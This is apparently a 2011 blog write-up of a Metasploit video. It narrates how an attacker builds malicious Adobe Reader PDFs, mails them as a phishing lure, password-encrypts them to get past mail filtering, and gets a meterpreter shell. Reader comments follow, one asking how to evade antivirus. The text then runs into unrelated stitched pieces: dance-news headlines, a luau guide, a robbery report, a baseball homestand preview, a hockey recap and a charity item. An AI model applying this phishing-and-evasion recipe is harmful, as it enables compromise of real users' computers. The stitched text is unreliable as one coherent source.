The attacker approaches this attack similar to a previous method, however instead of producing a collection of different files, which are not going to be used, they choose to use a program which is very commonly installed (also not updated often too!), Adobe Reader.
To start things going, the attacker starts their network connection and runs metasploit. When metasploit is ready, they search it's database for known exploits for PDFs files. "windows/fileformat/adobe_libtiff" has the latest Disclosure Date (2010-02-16) to today's date (2011-03-22). After choosing it and looking at the exploit in more detail, the attacker notes the vulnerable version of Adobe Reader (versions 8.0 - 8.2, 9.0 - 9.3) which the target HAS to have for this exploit to work.
The attacker then proceeds to enter all the necessary information for the exploit to function, then creates the exploit when it is ready.
Like before, the attacker chooses to socially engineer the target by sending them an email, however this time around wants they to attach the file instead of linking to it.
The attacker enters a brief description of what the PDF is meant to contain. However, when the attacker tries to see the PDF the SMTP disallows the PDF attachment. The attacker compresses and encrypts the PDF which will prevent detection (The attacker alters the original message to include the password).
The attacker can sit back and relax until the target opens the PDF document... which the target does =). However! When the target opens the PDF document, the reader "crashes" before they could read the document. So they email back saying they are unable to read it. The attacker then replies with the "correct" PDF...
This time, the attacker wants to "bind" an exploit to the "legit" PDF. So after searching metasploits database, they locate "windows/fileformat/adobe_pdf_embedded_exe".
Again, the attacker then proceds to enter all the necessary information for the exploit to function, creates the new document and delivers it using the same method as before. Just like before, there is nothing left for the attacker to do except to wait for the target to open the document...
After the target has refreshed their inbox, they notice they have got the "correct" PDF. Upon opening the file, a "Save as" window pops up (1), and of course they wish to save the PDF or just want to read the document so they just click next... After reading the message (2), they click on "open". After doing those steps the target is able to read the document...
...meanwhile the exploit has worked and the attacker has another meterpreter shell on the targets machine.
(1) This is really a meterpreter agent, NOT the PDF file which it says it was. It has cloned the filename from the PDF the attacker used
(2) The message is what the attacker left
* You will need to find/use your own SMTP details.
* Avast anti-virus detected the PDFs (2011-03-23), other Anti-Virus may as well.
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Video length: 9:07
Capture length: 32:22
Blog Post: http://g0tmi1k.blogspot.com/2011/03/video-metasploit-vs-adobe-pdfs.html
Forum Post: http://www.backtrack-linux.org/forums/backtrack-videos/39001-%5Bvideo%5D-metasploit-vs-adobe-pdfs.html#post192420
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many,many,many thanks for your JOBS!
Absolutely Fantastic Video.
nice video man,gd work, but we gotta find a new way for avoiding AV from caching the .pdf file ,,, btw useful video and nice ideas
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I used the basic test to find out if the card with wifi chipset Zydas owns the injection:
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Paul Taylor Leaps Over to the Koch
The Paul Taylor troupe is moving three weeks of performances from City Center, the first group to fill some of the gap left at Lincoln Center by City Opera's departure....
July 15, 2011, Friday
MORE ON ARLENE SHULER AND: Dancing , Theater , Taylor, Paul, Dance Co , Lincoln Center for the Performing Arts , Taylor, Paul , Shuler, Arlene , City Center
Exchanging Slippers For Schoolbooks
Once, many ballet dancers didn't care about completing a college degree. At Columbia's School of General Studies, Long Island University and Fordham University, that's changing....
December 5, 2010, Sunday
MORE ON ARLENE SHULER AND: Dancing , Columbia University , Graf, Alicia J , Ansanelli, Alexandra , Shuler, Arlene
City Center to Begin $75 Million Renovation
City Center is embarking on a renovation and restoration of its landmark neo-Moorish building on West 55th Street....
March 17, 2010, Wednesday
MORE ON ARLENE SHULER AND: City Center , Restoration and Renovation , Historic Buildings and Sites , Culture , Shuler, Arlene
Sure Sign of Autumn: A Fling at History
The audience was near fever pitch throughout Tuesday evening at City Center for the first night of the annual Fall for Dance programs....
September 24, 2009, Thursday
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Building a Profile for City Center: Dance Mecca
Buoyed by a highly popular dance festival, a theater's chief executive pursues new ventures....
August 30, 2009, Sunday
MORE ON ARLENE SHULER AND: Dancing , Shuler, Arlene
City Center Renovation Leaves Schedulers Uncertain
City Center's ever-shifting plans for renovation have started to take a toll on the schedules of New York dance institutions....
July 9, 2008, Wednesday
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Where Fans Are Encouraged to Dance With the Dancers
Dancers, choreographers, audience members and passers-by mingle and commune each night of the 10-performance Fall for Dance festival at City Center....
October 3, 2007, Wednesday
MORE ON ARLENE SHULER AND: Dancing , Graciano, Francisco , Shuler, Arlene , City Center , American Ballet Theater , Urban Bush Women , Taylor, Paul Dance Co , Royal Ballet , Lyon Opera Ballet , DeLavallade, Carmen , Tharp, Twyla
As Merger With Carnegie Crumbles, City Center Will Delay Its Renovation
Carnegie Hall and City Center have abandoned plans to create a new board to oversee joint artistic offerings and a renovation....
September 1, 2007, Saturday
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New York City Ballet Announces a New Approach to Programming
In an effort to reach new audiences, the company has revamped its performances, creating fixed programs with themes and catchy titles....
August 1, 2006, Tuesday
MORE ON ARLENE SHULER AND: Dancing , New York City Ballet , City Center , Martins, Peter , Shuler, Arlene
An Ambitious Eclecticism In a Procession of Troupes
This year's programming was ambitious, eclectic and judiciously designed and a hunger for dance at the right price was evident in the long lines....
October 4, 2005, Tuesday
Falling for Dance
Images from the opening night of the festival at New York City Center.
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Luau of Hawaii
A luau is a traditional Hawaiian feast and no first trip to Hawaii is complete without attending one. Most luau in Hawaii are catered towards visitors, so expect a grand celebration of food, entertainment and learning about Hawaiian and Polynesian culture.
Bring your appetite since you'll be feasting on a magnificent Hawaiian spread of kalua pig (pork cooked in a traditional pit oven), lau lau (beef, pork, chicken, or fish wrapped in taro leaves) and poi (Polynesian staple starch made of taro).
Listen to traditional and contemporary Hawaiian music and chants. Watch hula dancers tell beautiful stories of Hawaiiana with their elegant and graceful movements. Many luau also highlight greater Polynesia by featuring Samoan fire dancers and mesmerizing Tahitian dancers. If you've got the courage, you may even get the chance to dance the hula in front of your entire luau.


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Syracuse Police Arrest Teen Suspect In Teen Robbery
Syracuse police arrest a teenage suspect for the strong-arm robbery of another teen on West Brighton Street.
Officers say a young male victim was walking on West Brighton when another male asked to use his cell phone. When the victim refused, the male suspect took the phone from him. The victim provided police with a description of the suspect and they searched the immediate area. They soon located Josh Williams of Syracuse who officers determined was the suspect. He was charged with robbery and taken to the Justice Center to await arraignment. No one was injured.


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Homestand Preview: April 18th-April 24th
By Richmond Flying Squirrels | April 12, 2013 9:00 AM ET
RICHMOND, VA - The Flying Squirrels host the Reading Fightin' Phils and Altoona Curve for a seven-game homestand. The Squirrels faceoff against the Fightin' Phils for a four-game series April 18-21 before playing the Curve April 22-24.
Thursday, April 18th vs. Reading
Gates Open: 4:30 PM First Pitch: 6:35 PM
The Thursday Firework Series presented by Coventry Health Care of VA & Your Local Ford Dealers starts the seven-game series. Go Nut's for Reading participants join Nutzy on to the field for a pre-game parade around The Diamond. Classic Monkey Shine entertains fans on the Ultimate Fan Zone Stage.
Friday, April 19th vs. Reading
Gates Open: 6:00 PM First Pitch: 7:05 PM
Larry "The Soup Nazi" Thomas serves the Flying Squirrel fans with an appearance like no other presented by Verizon Wireless. Fans are encouraged to bring canned foods to The Diamond as all food will benefit FeedMore. Every Friday is Ladies Night where ladies can win prizes throughout the night. Kids will run the bases following the game courtesy of McDonald's and Richmond Family Magazine.
Saturday, April 20th vs. Reading
Gates Open: 4:30 PM First Pitch: 6:05 PM
The Squirrels turn back the clock with 50's Night at The Diamond with Wrenn Mangum signing Elvis tunes on the Ultimate Fan Zone Stage. Following the game fans will enjoy fireworks presented by HCA Virginia! Kids will run the bases following the game courtesy of McDonald's and Richmond Family Magazine.
Sunday, April 21th vs. Reading
Gates Open: 12:30 PM First Pitch: 2:05 PM
Kroger Squirrels Tails Kids Club members on Sunday's can receive a free general admission ticket and eat free, all season long! Fans will get the chance to play catch on the field from 1:15-1:35 PM courtesy of Radio Disney and Nesquik. Additionally, the first 2,000 kids ages 14 and under will receive a Slap Watch courtesy of Tum-E Yummies. Kids will run the bases following the game courtesy of McDonald's and Richmond Family Magazine.
Monday, April 22nd vs. Altoona
Gates Open: 5:30 PM First Pitch: 6:35 PM
Game one against Altoona welcomes Go Nut's for Reading participants on to the field for a pre-game parade around The Diamond. Fans are encouraged to carpool, ride a bus, walk or bike to the game as part of Clean Air Champions Night presented by Ride Finders. Help Greater Richmond Transit Company clean up the air throughout Richmond. Fans of all ages will enjoy $1 hot dogs every Monday all season long! McDonald's Mondays offers fans the opportunity to bring in a McDonald's restaurant receipt and receive one ticket free with purchase of another one at equal or greater value.
Tuesday, April 23rd vs. Altoona
Gates Open: 5:30 PM First Pitch: 6:35 PM
From the racetrack to The Diamond, Michael Waltrip and Martin Truex Jr. headline the Richmond International Raceway Night. These two drivers from Michael Waltrip Racing will be on hand for an Impaired Driving Simulation Course conducted by the Virginia State Police and an exclusive meet and greet in the PFG Picnic Zone courtesy of AAA.
Wednesday, April 24th vs. Altoona
Gates Open: 9:30 AM First Pitch: 10:35 AM
The homestand concludes with an Education Day sponsored by Partners Financial Federal Credit Union as schoolchildren from every corner of the Greater Richmond area will enjoy a day of baseball at The Diamond. Kids will be treated to the music of The Diggity Dudes. Each student will receive a 2013 Education Day Activity Book featuring a variety of reading and math exercises involving baseball, learning and the Flying Squirrels!
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LOS ANGELES (Reuters) - The struggling Nashville Predators snapped a three-game losing streak when they upset the Stanley Cup champion Los Angeles Kings with a nerve-jangling 2-1 shootout victory on Thursday.
Despite being outshot 22-11 in regulation, the Predators kept coming up with crucial blocks to stay alive before left wing Sergei Kostitsyn scored the decisive goal in the eighth round of a tense shootout.
Nashville improved to 2-2-3 for the season while the Kings, bidding for a third straight win in front of a sellout crowd of 18,118 at the Staples Center, slipped to 2-2-2.
"I think that we would have been mentally scarred if we wouldn't have won that one," Nashville head coach Barry Trotz told reporters. "We were in four shootouts and we were 0-for-3.
"Obviously tonight we got a couple of goals which was good. We're trying to get a little bit of an order in our game and I don't think we hit stride at all. You have to find ways to get points."
Kings head coach Darryl Sutter was frustrated after his team had been outblocked on the night 24-8.
"I'd like to score more than one goal," Sutter said. "They (Nashville) are strong up the middle. They've got veterans in the back and they have a good goalie. They don't give you much.
"It just comes down to we're still not getting that goal from the players we need to count on to score that goal."
The home fans had barely settled into their seats before Nashville struck early, Kings goaltender Jonathan Quick being beaten by a blazing long-range snap shot from right wing Brandon Yip after just 58 seconds.
However, Los Angeles made it 1-1 on a powerplay 13 minutes into the first period when captain Dustin Brown, lurking close to the net, scored his first goal of the season with a wrist shot.
After a scoreless second period, both teams upped the tempo in the third with the Kings more dangerous on offense but the deadlock could not be broken.
It was still 1-1 after five minutes of overtime before Kostitsyn's score through Quick's legs sealed the win after centers David Legwand and Craig Smith and left wing Gabriel Bourque had also scored for the Predators in the shootout.
Nashville goaltender Pekka Rinne, who had lost five of his previous six starts against the Kings, made 23 saves and stopped five of eight shootout attempts.
"This was my first win of the season," a relieved Rinne said. "It's been tough so far but hopefully it changes the course of how things go. I'm just happy to be with the big win."
Los Angeles scored just once on six powerplays and will need to regain some momentum as they embark on a five-game road trip starting on Saturday in Anaheim against the Ducks.
"We had some good offensive chances, probably not enough," Brown said of his team's display against Nashville. "We have to find a way to score goals. We got one from our power play. We had chances. We just got to get dirtier goals."
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Toby Keith opens OK Kids Korral
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Toby Keith is celebrating the opening of the OK Kids Korral. "Tulsa World" says the country star was on hand for Thursday's official launch ceremony for the facility, which he spearheaded to help families with children battling cancer.
Keith spoke at the event, saying the goal was to create a space that didn't "look like a hospital." He explains that everyone involved "wanted it to be as fun as possible," describing it as "like a trip into Chuck E. Cheese's or Disney World."
While the OK Kids Korral features a game room, a theater, and different play areas, it also has quiet spaces, including a reflection room and a chapel. The 25-thousand-foot facility also includes a kitchen, laundry room, and suites where parents and other family members can stay while their child is in the hospital.
The OK Kids Korral is on the Oklahoma Health Center Campus, located across the street from the University of Oklahoma's OU Medical Center in Oklahoma City.
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